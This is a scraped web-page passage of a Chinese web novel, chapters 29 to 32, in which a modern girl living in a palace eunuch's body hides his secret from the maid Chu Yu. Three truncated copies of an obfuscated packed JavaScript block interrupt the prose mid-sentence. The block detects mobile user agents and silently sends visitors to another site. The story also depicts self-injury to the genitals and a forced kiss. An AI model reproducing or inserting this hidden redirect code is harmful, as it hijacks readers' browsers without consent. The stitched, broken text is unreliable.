d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950485|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的印记。她为何要告诉他这个? “这名字……许久没人叫过了。”楚玉转过脸,目光重新落回关禧脸上,“私下无人时,你若愿意……可以叫我楚玉。” 关禧彻底懵了。信息量和情绪冲击让他脑子一片混乱。告诉他真名?允许私下称呼?这绝不仅仅是施恩或拉拢,这更像是一种诡异的贴近,一种将他划入某个极其私密领域的信号。为什么? 没等他消化完,楚玉的目光倏然下移,落在了他身体某处。 关禧顺着她的视线低头—— 嗡! 大脑一片空白。 那身靛青色太监服的下摆处,因为方才的瘫软浸湿和此刻紧绷的姿势,清晰地勾勒出了某个部位的轮廓。那是一个属于男性,因半割手术而残存,不受控制明显支棱起来的反应。 这具身体!这具该死的,不属于他的,却时刻背叛他意志的男性身体! 他来自现代,是个十七岁的女生,会为冯昭和青黛之间那种超越主仆的情谊激动到脑补万字同人,可这具皮囊呢?它在恐惧的巅峰,在刚刚窥破禁忌的余悸中,竟然……竟然对着同样属于女性,让她脑补过无数暖昧场景的当事人之一,起了这种下作的反应! “不……不是……我没有。”关禧语无伦次,脸涨得通红,又迅速褪成惨白,他徒劳地用手去遮挡,去按压,可那触感更清晰地提醒着他此刻的丑态。 楚玉静静地看着他惊慌失措的遮掩,看着他眼中翻滚的几乎要溢出来的自我厌弃和崩溃,脸上没什么表情,只是那双沉静的眼眸里,幽光微动。 “你似乎……”她缓缓开口,声音里听不出喜怒,“对此地,此景,或是……此人,有某些特别的癖好?” 癖好?! 关禧如遭雷击。她看到了!她果然看到了自己刚才那些不堪的窥探和遐想,她以为他是那种有特殊窥私欲的变态太监?还是……她看出了他灵魂里那点对女性,尤其是对她们之间关系的异常关注? “不!不是的!青黛姐……楚、楚玉姐姐!”他慌乱地否认,声音带着哭腔,屈辱和急于辩白的冲动让他口不择言,“我只是……我只是觉得……觉得娘娘和姐姐之间……那种情分,很难得……我、我羡慕……我没有别的意思!我真的没有!” 情分?羡慕? 楚玉眉梢几不可察地动了一下。这答案倒是出乎意料。她审视着关禧通红眼眶里滚动的泪水,那里面除了恐惧和羞耻,确实没有她预想中某些腌臜的欲望。 她的目光再次落回他依旧试图遮掩的下身,那反应显然并非作假。一个羡慕情分的小太监,身体却有了最直白的男性反应,这矛盾而扭曲的画面…… 而关禧,在瞥见楚玉那冷静审视的目光再次掠过自己不堪的部位时,最后一丝理智的弦,嘣地断了。 恶心的感觉排山倒海般涌上喉头。比在停尸房发现自己成了太监时更甚。那时候是惊恐,是绝望,是对命运不公的愤怒。而现在,是这具身体对他灵魂彻头彻尾的背叛和亵渎。 他猛地抬起手,握紧了拳头,用尽了全身残余的力气,朝着自己那耻辱,不受控制的根源,狠狠砸了下去。 “呃——!” 一声闷哼。他用了死力,剧痛瞬间炸开,沿着脊椎窜上头顶,眼前零时一片昏黑,身体不受控制地蜷缩起来,额角重重撞在池沿上,发出“咚”的一声闷响。 楚玉的瞳孔骤然收缩。 她见过无数丑态,听过无数哀求,甚至亲手处置过不少龌龊。但这样狠绝的举动,发生在一个刚刚还因窥破隐秘而恐惧颤抖的少年身上,超出了她的预料。 没有犹豫,她一步上前,在关禧因剧痛和撞击而软倒的瞬间,伸手揽住了他的肩膀,阻止了他进一步滑向池中或瘫倒在地。 关禧疼得几乎窒息,意识在昏沉的边缘挣扎。下身的钝痛和灼烧感淹没了一切,让他暂时忘却了羞耻和恐惧,只剩下生理性的痛苦和对自己的厌恶。他模糊的视线里,是楚玉线条紧绷的下颌。 “蠢货。”他听到她低声说,“谁准你这样伤自己?” 关禧说不出话,只有破碎的喘息和抑制不住因疼痛而生的生理性泪水,混着额角撞出的血丝狼狈地滑落。 楚玉扶着他,让他靠坐在池边,自己蹲下身,快速检查了一下他额角的伤口,只是撞红了,有些破皮,不甚严重。她的目光随即落在他紧紧捂着的下身,眉头蹙起。 “松手。”她命令道,语气不容置疑。 关禧疼得意识模糊,下意识地松开了些。 楚玉借着昏暗的光线,只看了一眼,便迅速移开目光。她站起身,走到外间,很快取来一块干净的大布巾和一小瓶常见的金疮药。 她将布巾丢在关禧身上:“自己处理一下。死不了。”语气恢复了平日那种冷硬的疏离,仿佛刚才那瞬间的靠近和那句“蠢货”只是错觉。 关禧蜷缩着,抓着布巾,却没有动作,脸埋在膝盖间,肩膀微微耸动。下身火辣辣的疼,额角也一跳一跳地痛,但更痛的是心里那一片荒芜和恶心。 楚玉站在一旁,没有离开,也没有催促。她看着少年蜷成一团的背影,听着那压抑的抽气声,眼底深处,那些复杂翻涌的情绪渐渐沉淀下去,恢复成一潭深不见底的静水。 只是那静水之下,被刚才那决绝的一拳,悄然砸开了一丝缝隙。 过了好一会,她终于再次开口: “今晚的事,到此为止。把你自己收拾干净,额头上药。明日若有人问起,便说收拾浴堂时不小心滑倒撞的。至于别的……关好你的眼睛,管好你的脑子,还有——看住你这不听话的身子。” 她顿了顿,补充道,语气带着警告,又似乎藏着别的什么: “楚玉这个名字,和你现在这副样子,都给我烂在肚子里。” 说完,她不再停留,转身,淡青色的衣角划过光洁的地面,悄无声息地离开了浴堂,将一室未散的水汽,疼痛和难以言说的秘密,留给了蜷缩在池边的少年。 30.第 30 章 接下来几天,关禧告了假。 理由现成且无可指摘,收拾浴堂时脚下打滑,重重撞伤了额角,连带扯到了尚未完全养利索的旧伤处,疼得厉害,起身都艰难。 陈立德来看了一眼,见他额上青紫带血,面色惨白,蜷在薄被里不住发颤,冷汗浸湿了鬓角,只当是摔得狠了,兼之旧伤复发,骂了句“不当心的小兔崽子”,便挥挥手准了,只吩咐同屋暂空的小太监每日送些饭食清水过来。 真实的情况,只有关禧自己知道。 额角那点撞伤算不得什么,真正要命的是下身。那一拳,他用了死力,砸在曾经溃烂流脓好不容易才愈合结痂的脆弱部位。旧伤新创叠加,当夜回去后便疼得他几乎晕厥,翌日清晨更是肿起老高,火辣辣地灼痛,稍一移动便如钝刀刮骨,甚至能摸到皮肤下不正常的硬块和滚烫。 他不敢声张。只能咬牙忍着,用冷水浸湿的布巾勉强敷着,蜷缩在床铺最里侧。 疼痛是持续而尖锐的,无时无刻不在折磨着他的神经。但比疼痛更难以忍受的,是那种深入骨髓的屈辱感和自我厌弃。 那晚浴堂里发生的一切,像一场荒诞的默剧,在他脑海里反复重演。楚玉冰冷审视的目光,自己那不受控制丑态毕露的反应,以及最后那自毁的一拳……每一个细节都带着倒刺,刮擦着他早已不堪重负的自尊。 他厌恶这具身体,厌恶它残存的男性特征,厌恶它在最不堪的时刻背叛自己的意志。那一拳砸下去时,除了剧痛,竟还有一种扭曲的快意,仿佛这样,就能惩罚这具躯壳,就能向那个看透了他窘迫的人证明些什么。 证明什么?证明他不是故意的?证明他也觉得恶心? 关禧将脸埋进散发着枕头里。 他怕见楚玉。怕那双能洞悉一切的眼睛,怕从她眼中看到怜悯,鄙夷。他鸵鸟般将自己藏在这间狭小昏暗的屋子里,仿佛这样就能逃离那晚的难堪,逃离这令人窒息的深宫。 送饭的小太监每日按时将粗陋的饭食和清水放在门口,偶尔好奇地朝里张望一眼,又匆匆离去。关禧大多时候没有胃口,伤痛和心绪折磨得他迅速消瘦下去,颧骨突出,眼窝深陷,只有一双眸子,因发烧痛苦而显得异常湿润明亮,又空洞得吓人。 第五天晌午,他正昏沉地睡着,半梦半醒间被伤处的抽痛折磨得眉头紧锁,忽然听到门外传来轻微的响动,不同于往日小太监放饭的动静。 门被轻轻推开了。 关禧浑身一僵,下意识地攥紧了身下的薄褥,闭紧眼睛,假装沉睡。 脚步声很轻,停在了床前。一股清冽中带着淡淡药草气息的味道弥漫开来,不是承华宫常用的檀香。 是楚玉。 关禧的心脏收缩,连呼吸都屏住了,睫毛不受控制地颤抖。 楚玉没有说话,静静地站了片刻。关禧能感觉到她的目光落在自己脸上,或许还有身上。那目光不像那晚在浴堂般锐利逼人,却依然带着沉甸甸的重量,压得他喘不过气。 然后,他听到极轻微的瓷器触碰木头的声响。一个小瓷瓶被放在了床头的小几上。 “每日两次,外敷。”楚玉的声音响起,听不出任何情绪,“额上的伤,结痂前别沾水。” 她顿了顿,似乎看了他一眼,又似乎没有。 “娘娘那边,自有我去说。你安心养着。” 说完,脚步声再次响起,如来时一般轻悄,门被重新掩上。 关禧僵着身子,直到那清冽的气息彻底消散在空气中,才缓缓睁开眼,目光转向床头。 一个素白瓷瓶,瓶身没有任何标记,触手微凉。他打开嗅了嗅,药膏呈淡褐色,气味清苦,比他之前用过的任何金疮药都要纯粹些。 她亲自送药过来。没有质问,没有探究。 这比任何责难都更让关禧心慌意乱。她到底是什么意思?是懒得计较他那晚的失态,还是……另一种形式的警告或掌控? 他握着冰凉的瓷瓶,指尖微微发抖。最终,还是咬着牙,忍着羞耻,艰难地给自己上了药。药膏触及肿胀灼热的伤处,带来一阵尖锐的刺痛,随即是缓缓化开的清凉,真的将那噬人的灼痛压下去些许。 接下来两日,那药瓶每日都会在晌午时分,悄无声息地出现在他床头。有时里面是药膏,有时换成了几颗包好的,气味更浓郁些的药丸,显然是内服化瘀的。送药的人再未现身,但关禧知道是她。 他的伤势在药物的作用下缓慢好转,高烧退了,红肿也消下去一些,但依旧疼得厉害,下地行走更是奢望。他整日昏睡,偶尔清醒,便对着斑驳的屋顶发呆,脑子里浑浑噩噩,一会儿是现代教室里的日光灯,一会儿是停尸房的草席,一会儿是楚玉在浴堂门口提着灯的身影,还有那句“看住你这不听话的身子”。 请假第八日的傍晚,送饭的小太监破天荒地没有立刻离开,而是在门口探头探脑,压低声音道:“离子哥,陈公公让我捎句话,问你什么时候能下地?娘娘那边……好像有些文书的事儿,旁人不熟手。” 关禧心里一紧。冯昭仪要用人了。不能再躲下去,他试着动了动,伤处扯着疼,但比起前几日已好了许多。 他哑着嗓子回道:“劳烦告诉陈公公,小的……明日应该就能勉强走动了。” 小太监应了一声,跑了。 关禧靠在床头,望着窗外渐沉的暮色。逃避终归不是办法。伤总要养,日子总要过。楚玉那边……既然她选择送药而不深究,或许那页尴尬的篇章,可以暂时翻过? 他深吸一口气,压下心头翻涌的复杂情绪,慢慢挪动着,开始尝试下床。脚掌触及冰冷地面的瞬间,下身传来尖锐的刺痛,让他眼前一黑,冷汗湿透单衣。他扶着床沿,喘息良久,才勉强站稳,一步步,挪向那面模糊的铜镜。 镜中人苍白憔悴,额角的青紫已转为暗黄,眼眶深陷,嘴唇干裂。 他抬手,慢慢整理了一下散乱的头发,将身上皱巴巴的中衣拉平。 该出去了。 * 次日清晨,关禧强撑着起身,换上了那身靛青色太监服。 他来到书斋时,天色尚早。 案头堆着一些待整理的文书,多是这几日积压下来,需要核对归档的零散记录,不算繁重,却需细心。 关禧坐下,深吸一口气,强迫自己将注意力集中在眼前的字句与数字上。疼痛如影随形,指尖因虚弱而有些发颤,落笔时需格外用力才能保持平稳。但他做得极专注,与那股不适感争夺着每一寸清醒的神志,速度竟比平日还要快上几分。 不到午时,案上的文书已处理妥当,分门别类,誊录清晰,整齐码放。 他搁下笔,靠在椅背上,闭目喘息,额角渗出细密的冷汗。正欲缓一缓,门外传来轻柔的脚步声,珠帘微响,一道温婉的身影走了进来。 是冯媛。 她今日穿着一身家常的藕荷色襦裙,外罩月白比甲,神色恬淡,眉宇间却带着一丝挥之不去的倦意,显然是万寿节前后的风波劳神所致。她目光扫过书斋,落在关禧身上,见他脸色苍白,眼下青黑,身形也比之前清减了不少,微微一顿。 “身子可好些了?”冯媛开口,声音温和,“陈立德说你前几日摔得不轻,旧伤也犯了。既然未好利索,不必急于做事,仔细将养才是。” 关禧连忙起身,动作牵扯到伤处,疼得他眉头几不可察地一蹙,又迅速松开,躬身道:“谢娘娘关怀。奴才已无大碍,只是些皮外伤,不敢耽误娘娘的差事。” 冯媛走近两步,目光在他额角的淡痕和缺乏血色的唇上停留片刻,轻轻叹了口气:“脸色这样差,还说无碍。在这宫里当差,身子是本钱。差事永远做不完,命却只有一条。”她顿了顿,语气转回平日的淡然,“既然你做完了,便早些回去歇着吧。午后也不必过来了,好生养着。” “是,奴才遵命。”关禧垂首应道,心头微松。冯昭仪的关心点到即止,符合她一贯的行事风格,并未深究他伤势的具体情形,也无意多留。 冯媛又简单问了句文书归档的情况,关禧一一答了,条理清晰。她点了点头,不再多言,转身离开了书斋,看方向是回内殿准备午憩。 关禧重新坐下,等着那股因起身行礼而加剧的痛楚慢慢平复。书斋里恢复了寂静,只有窗外隐约的蝉鸣。 没过多久,轻盈的脚步声去而复返。 珠帘再次被挑起,楚玉走了进来。她已将冯媛送回内殿安顿,此刻独自返回,身上还带着正午阳光留下的些微暖意,与她本身清冷的气质形成微妙对比。 关禧的心跳不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954612|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受控制地加快。他下意识地伸手抓起了刚刚搁下的笔,摊开一张空白纸笺,佯装仍在书写核对,笔尖却悬在半空,微微颤抖,落不下一个字。 楚玉的目光淡淡扫过已整理完毕的案头,又落在他故作忙碌,明显僵硬的手指和苍白的侧脸上。她没有立刻戳破,也不催促,只是缓步走近,停在他书案一侧。 “娘娘歇下了。你的动作倒快,一上午便理清了。” 关禧喉咙发干,低声道:“是积压不多,不敢耽搁。” 楚玉的视线落在那张空白纸笺上,又移向他紧握着笔,指节发白的手,“既然做完了,还提着笔做什么?” 关禧语塞,笔尖在纸面上虚点了一下,留下一个无意义的墨点。 “又想写诗?”楚玉忽然道,声音比方才低了些,“上回那首,写得不错。虽用词直白,意境倒也贴切。” “小的……小的胡诌的,污了姐姐的眼。”关禧慌忙否认,想放下笔。 “胡诌?”楚玉微微偏头,唇角有极淡的弧度一闪而过,“能胡诌出何当共剪西窗烛,却话巴山夜雨时的句子,这份胡诌的本事,恐怕连翰林院的某些学士也未必有。”她说着,目光锁住他躲闪的眼睛,“今日闲暇,不如再胡诌一首让我瞧瞧?” 这不是请求,是带着审视的指令。 关禧背脊发凉,握着笔的手心沁出冷汗。他脑子里一片混乱,属于关禧的现代记忆和属于小离子的深宫恐惧交织冲撞。再写?写什么?他哪里会作诗!上次那首《夜雨寄北》是情急之下脑中库存的应激反应,难道这次还要硬着头皮再搬一首?可若写不出,或者写得太差,会不会让楚玉更起疑?一个能胡诌出那般句子的人,怎么可能江郎才尽? 楚玉并不催促,静静站着,耐心得令人窒息。午后的阳光透过窗棂,在她淡青色的衣袂上投下斑驳的光影,也将关禧苍白惊恐的脸照得无所遁形。 赶鸭子上架,箭在弦上。 关禧狠狠心,避开楚玉的目光,强迫自己凝神。不能再用李商隐了,太缠绵,容易引人遐想。要选一首……更孤冷,更疏离,或许更贴合他现在处境的? 电光火石间,另一首诗浮上心头。柳宗元的《江雪》。千山鸟飞绝,万径人踪灭。孤舟蓑笠翁,独钓寒江雪。极致孤寂,极致清冷,画面感极强,似乎……也隐隐契合他此刻茕茕孑立,如坠冰窟的心境。 他压下手腕的颤抖,蘸墨,落笔。是工整却难掩稚拙的楷书,一笔一划,写得极其缓慢用力,每一个字都重若千钧: 千山鸟飞绝, 万径人踪灭。 孤舟蓑笠翁, 独钓寒江雪。 二十个字,写完像耗尽了全身力气。笔尖最后在“雪”字上重重一顿,留下一个略显滞涩的收尾。 他放下笔,不敢再看,垂着头,等待着审判。 楚玉的目光落在诗笺上,久久未动。她的视线如同实质,一遍遍刮过那四行诗句。 没有评价,没有疑问,只有一片沉凝的寂静,比任何斥责都更让人难熬。 终于,楚玉伸出手,指尖拈起了那张薄薄的纸笺,她的手指白皙修长,指甲干净,捏着纸角的动作很轻。 “千山鸟飞绝,万径人踪灭……”她低声吟哦,声音轻得像叹息,“好大的景象,好冷的意境。孤舟,蓑笠,寒江,独钓……” 她抬起眼,目光再次落在关禧脸上,这一次,那平静的眼底终于泛起了清晰的波澜,是毫不掩饰的探究。 “小离子,”她唤他,“你告诉我,一个自幼家贫,为求生计被送入宫中,连字都未必认全的河间府农家子,是如何看到这千山与万径的?是如何想出这孤舟蓑笠、独钓寒江的苍茫画面的?” 她向前逼近一步,关禧甚至能闻到她身上那缕混合着书墨与冷香的气息。 “上首尚可说是离愁别绪,托物言志,或许你天资聪颖,感怀深切。可这首……”她轻轻抖了抖手中的纸笺,“这等遗世独立、勘破红尘般的孤绝气韵,绝非一个未曾离开过方寸之地、眼中只有宫墙与文书的十五岁少年所能凭空胡诌而出。” 她的目光锐利如刀,好像要剖开他的皮囊,直视内里那个颤抖的灵魂:“你究竟是谁?从哪里学来的这些诗?或者说……你这壳子里,到底装着什么?” 31.第 31 章 楚玉的怀疑很直接,她甚至用了壳子这样的词,穿越者的身份是关禧最大的秘密,也是他恐惧的根源,此刻被眼前这个敏锐得可怕的女子,以这样一种方式,逼到了悬崖边上。 解释?如何解释?说自己是穿越的?那会被当作妖孽烧死,说是在派办处或典籍司看的?那些地方怎么可能有柳宗元的诗?而且,楚玉既然敢这么问,必然已经暗中查过,小离子根本没有机会接触这些。 冷汗湿透了中衣,伤处的疼痛似乎都被这极致的恐惧掩盖了,他脸色惨白,眼神涣散,几乎要瘫软下去。 楚玉将他的惊惶尽收眼底,随即把诗笺轻轻放回案上,语气恢复了那种听不出情绪的平淡: “这首诗,还有上次那首,都给我烂在肚子里。从今往后,没有我的允许,不准再写一个字,也不准再提起你会胡诌诗句。” “做好你的小离子,办好你的差事。不该有的心思,不该会的本事,都藏好了。若再让我发现半点不妥……” 她的未尽之言,如同悬在关禧头顶的铡刀。 可铡刀下的关禧,此刻所有的血液逆流冲向了头顶,烧尽了他最后一点名为“理智”的东西。 怀疑?质问?壳子?是了,她早就看出来了,她那双眼睛,怕是早就将他这借尸还魂的孤魂野鬼,看了个透透彻彻! 恐惧到了极致,反而催生出一种破罐子破摔的勇气。去他爹的深宫规矩!去他爹的太监身份!去他爹的步步为营! 横竖都是死,被当作妖孽烧死,和因为冒犯被处死,有什么区别?至少……至少在这一刻,在眼前这个人面前,他不想再装了。 凭什么总是他被看穿?被质问?被逼到角落? 他的视线,不再闪躲,不再低垂,滑过她的脸颊,落在那张正吐出冰冷字句的嘴唇上。唇色是自然的淡樱粉,唇形优美,此刻微微抿着,显得有些无情。 电光火石间,他甚至没给自己思考的余地。 他一手撑住书案边缘,借着这股力道,不顾下身骤然撕裂般的剧痛,霍然起身。另一只手,猝然伸出,扶住了楚玉的脸颊。 触手微凉,肌肤细腻。 楚玉的瞳孔在瞬间放大,那里面清晰的探究和警告,被难以置信的惊愕覆盖。 关禧没有给她任何反应的时间。 他低下头,对着那双总是吐出让他心惊胆战话语的唇瓣,狠狠吻了上去。 不是温柔的触碰,而是碾压,是厮磨,是孤注一掷的封缄。唇齿间传来细微的痛感,带着血腥气的铁锈味在口腔里蔓延开,不知是他的,还是她的。 楚玉的身体骤然僵直。 那双总是沉静如古井的眼眸,在极近的距离里倏然睁大,清晰地映出关禧紧闭双眼的模样,她甚至能感觉到他扶着自己脸颊的手指在不受控制地轻颤,掌心带着滚烫的温度。 她没料到。无论如何揣测这个少年的异常,哪怕怀疑他壳子里换了魂,她也绝没料到他会用这种方式……反击?或者说,是另一种形式的崩溃? 唇上的压力真实而蛮横,气息灼热,混着他身上的药味和墨香,强势地入侵她的感官。时间仿佛被拉长,每一瞬都被切割成无数清晰的碎片,他颤抖的指尖,他绷紧的下颌线条,他唇上因干裂而略显粗糙的触感,还有那紧闭眼睫下,悄然滑落的一滴液体,顺着两人紧贴的皮肤缝隙,渗入她的唇畔,带着咸涩。 没有立刻推开。 或许是因为这变故太过突然,超出了所有宫闹算计的范畴,或许是因为那滴眼泪里蕴含过于沉重复杂的东西,短暂地攫住了她的心神。 但这静止只维持了极其短暂的几息。 楚玉眼底的震惊迅速沉淀,转化为更为幽暗难辨的浪潮。她抬起手,精准地扣住了关禧那只扶着她脸颊的手腕,指尖用力,几乎要掐进他的骨头里。 同时,她的头向后退开,结束了这个短暂突兀的接触。 空气重新流动,声音回归。 关禧被她扣着手腕,被迫拉开距离,踉跄了一下,险些再次摔倒,全靠撑着书案才稳住。他睁开了眼,眼眶通红,里面水光潋滟。 楚玉松开了他的手腕,那白皙的皮肤上立刻浮现出几道清晰的红痕。她后退一步,拉开了安全的距离,抬手,用指尖缓缓擦过自己的下唇,动作慢得令人心慌。她的脸上没什么明显的表情,但那双眼睛,却比任何时候都要幽深。 她的目光,—寸寸地审视着关禧。 从他通红的眼眶,到他微微红肿还沾着一点可疑湿意的嘴唇,再到他剧烈起伏的胸口,最后落回他同样残留着震愕的脸上。 书斋内死寂一片,只有午后的阳光流淌进来,将空气中飞舞的尘埃照得纤毫毕现,也将两人之间那复杂难言的对峙,映照得无比清晰。 “这就是你让我闭嘴的办法?” 关禧张了张嘴,喉咙里却像被什么东西堵住了,发不出任何声音。方才那股同归于尽的勇气如潮水般退去,留下的是冰冷黏腻的恐惧和更深的无地自容。 楚玉看着他惨白的脸,忽然极轻地笑了一声。 “小离子,”她再次唤出这个名字,“或者说……不管你究竟是谁。你知不知道,就凭刚才这一下,我立刻叫人进来,将你拖去慎刑司,你会有怎样的下场?” 关禧的身体抖了一下。 “凌迟?车裂?还是更有趣的死法?”楚玉向前迈了一小步,声音压得更低,只有他们两人能听见,“对宫女用强已是死罪,更何况……你这样的身份,对我?” 她的目光落在他疼痛难忍的下身,眼中闪过一丝极其复杂的晦暗,“你是觉得,反正秘密藏不住了,干脆拉我一起下水?还是……” “你真的,对我存了这般……不要命的心思?” “为什么不可以?!” 关禧的声音嘶哑破碎,像淬了火的刀子,在死寂的书斋里猛然划开一道裂口。 “你问我存了什么心思?”他往前踉跄半步,伤处的剧痛让他脸色更白,下颌线却绷得死紧,“那你呢?楚玉?” 他第一次如此毫不避讳地叫出这个名字,带着质问,带着控诉,也带着孤注一掷的绝望。 “浴堂门口,你拿着灯,问我愿不愿意留在承华宫,听你的话……那时你是什么心思?把我从派办处要过来,放在这书斋,放在你眼皮子底下,偶尔靠近,偶尔提点,偶尔又用那种……那种眼神看我,问我身子好了没有,问我是不是羡慕你们的情分……那时你又是什么心思?!” “是你先靠近的!是你先让我叫你的名字!是你一遍遍提醒我这张脸,这副身子!是你在所有人都忙着万寿节的时候,特意把我叫去暖阁,吃那份根本不是剩饭的饭!现在你又来问我存了什么心思?!” 他急促地喘着气,胸口剧烈起伏,每一声质问都像从肺腑里撕扯出来,带着血气。 “我是什么身份?我知道!我是个太监,是个不完整的、最低贱的阉人!我这条命,是你和娘娘捡回来的,是你们手里的棋子,是你们棋盘上一个有点用处、或许还能拿来讨好谁或者算计谁的小物件!我该感恩戴德,我该战战兢兢,我该把眼睛蒙上,把耳朵堵上,把嘴巴缝上,把心里那点不该有的、活得像个人的念头都掐死!” “可我掐不死!”他声音陡然拔高,又死死忍着,不让那眼泪掉下来,“我也怕死!我怕被打死,怕被拖去慎刑司,怕被送回去让王公公当成礼物献上去!我更怕你们!怕娘娘的心思深不见底,怕你看我的眼神,有时候像看一件器物,有时候又像……” 他顿住了,嘴唇颤抖着,后面的话太过大逆不道,太过危险,可他看着楚玉那双深不见底,因为他这番话而起了细微波澜的眼睛,一股邪火顶了上来。 “……又像在看一个,还有点意思的……玩物?或者,一个能让你在这漫漫长夜里,偶尔也觉得不那么孤寂的……消遣?” “你告诉我啊,楚玉!”他几乎是吼了出来,额角青筋隐现,“你把我放在这里,给我超出本分的差事,给我若有似无的亲近,给我看那些隐秘的谋划,现在又拿着我根本解释不清的诗句来逼问我,剖开我……你到底想从我这里得到什么?是想看我彻底驯服,变成一条只会摇尾巴的狗?还是想看我像现在这样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954613|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被逼得走投无路,原形毕露,然后……” 他猛地抬手,指向自己,指向自己疼痛难忍,狼狈不堪的身体,指向自己苍白的脸。 “然后欣赏我这副样子?欣赏一个连自己是什么都搞不清楚的怪物,怎么在你们手掌心里挣扎?!” 话音落下,书斋里只剩下他粗重的喘息声,和窗外遥远模糊的蝉鸣。 楚玉静静地看着他。 从他那番激烈,混乱,字字泣血般的控诉开始,她的脸上就再没有一丝多余的表情。没有惊怒,没有羞恼,甚至没有被打断质问的冷厉。她只是看着他,目光沉静得可怕,像深海,将所有翻涌的浪涛都无声吞噬。 时间一分一秒过去,每一息都漫长得令人窒息。 关禧吼完了,那股支撑着他破釜沉舟的勇气也如同退潮般迅速消散,他腿一软,几乎要跪倒在地,只能死死抓着桌沿,指甲抠进木头里,才能勉强维持站立的姿势。他不敢再看楚玉,垂下眼,等待着最终的判决,或许是一声令下,涌进来的太监将他拖走,或许是一记耳光,然后彻底的厌弃和放逐。 然而,什么都没有。 楚玉终于动了。 她缓缓向前走了一步,停在距离关禧极近的位置,近到他能再次闻到她身上清冽的气息,近到他能感觉到她呼吸时极细微的气流。 然后,她抬起手。 关禧身体一僵,以为是要打他,下意识地闭了闭眼。 但那纤长的手指,只是轻轻落在了他的脸颊上。指尖微凉,动作很轻,甚至……带着一丝近乎怜惜的触感?不,一定是错觉。 她的拇指,极缓地擦过他眼角未曾滑落的湿意。 “怪物?”楚玉终于开口,“谁说你是怪物?” 她的指尖顺着他的脸颊轮廓,慢慢下滑,停在他的下颌,微微用力,迫使他抬起脸,看向自己。 四目相对。 楚玉的眼中,没有他预想中的任何情绪。没有愤怒,没有鄙夷,没有算计。只有一片深不见底,仿佛能吞噬一切光亮的黑沉。那黑沉里,映着他苍白惊惶的脸。 “你说得对。”她缓缓道,语气平淡得像在陈述一个与己无关的事实,“是我先靠近的。是我把你从王公公那里要过来的。是我让你留在承华宫,留在我身边。” “我确实想知道,你这张好看的皮囊下面,到底藏着什么。是只想活命的怯懦?是有点小聪明的野心?还是……别的什么更不寻常的东西。” “至于心思……”楚玉的唇角极轻微地勾了一下,那弧度冷得没有一丝温度,“你觉得,在这不见天日的地方,对着四面宫墙,对着永远算不尽的人心,对着一个……或许永远也无法真正触碰的人,我应该存着什么心思才算正常?” 她的指尖加重了力道,关禧觉得下颌骨有些发疼。 “羡慕?你羡慕我和娘娘?”她嗤笑一声,那笑声短促,“那你知不知道,这份情分,有时候比刀子还利,比毒药还苦?” 她松开了手,后退一步,重新拉开了距离,脸上那片刻的异常情绪消失无踪,又恢复了那种惯常带着疏离感的平静。 “但你说错了一点。我从来没把你当作玩物或消遣。至少,不仅仅是。你有用。比你自己想象的,或许更有用。对娘娘,对我,甚至……对你自己。” “今天的事,到此为止。你那些大逆不道的话,我当作没听见。你这……冒犯的举动,”她目光扫过他红肿的唇,眼神微暗,“我也暂且记下。” “但从现在起,把你那些乱七八糟的念头,不管是对我的,还是对你自己的,全都给我收起来。” “继续做你的小离子。做好娘娘和我交代的每一件事。把你那点异常的本事,用在正途上。” 她转身,走向门口,在推开门前,脚步微顿,侧过半张脸,光影在她清冷的侧颜上切割出明晰的线条。 “至于我存了什么心思……” 她的声音很轻,随风飘来,却字字敲在关禧心上。 “等你真正能在这宫里活下去,活到不用再问这种蠢问题的时候……或许,我会告诉你。” 32.第 32 章 门轻轻合拢。 关禧独自站在书斋中央,午后的阳光灿烂,透过窗棂,将空气中飞舞的尘埃照得纤毫毕现,却照不亮他此刻混沌一片的心。指尖还残留着楚玉脸颊微凉的触感,唇上那点因蛮横碾压而生的刺痛尚未完全消散,混合着舌尖隐约的血腥气,还有她最后那句话带来的冲击。 等他真正能活下去的时候…… 怎么活?像现在这样,顶着太监的身份,在娘娘和楚玉的股掌间,战战兢兢,如履薄冰?还是有朝一日,能挣脱这层皮囊,这身份,这牢笼? 他不知道。楚玉没有给出答案,她只是抛出了一个或许永远也触不到的未来。 身体传来一阵虚脱般的疲惫,夹杂着下身伤口因方才激动动作而加剧火烧火燎的疼痛。他扶着桌沿,慢慢滑坐到椅子上,脸埋进掌心。 书斋里寂静无声,只有他自己的呼吸,急促,而后渐渐平缓,最终归于一种死水般的沉寂。 不知坐了多久,窗外日影西斜,腹中传来清晰的饥饿感,胃部一阵阵地抽搐着,提醒他这具身体最基本的生存需求。 人是铁,饭是钢。再多的惊涛骇浪,悬而未决,也得先填饱肚子。 关禧缓缓抬起头,抹了把脸,脸上没什么表情。他撑着桌子站起身,动作牵扯到伤处,疼得他倒吸一口凉气,额角又渗出细密的冷汗。他咬着牙,慢慢挪到门口,推开门。 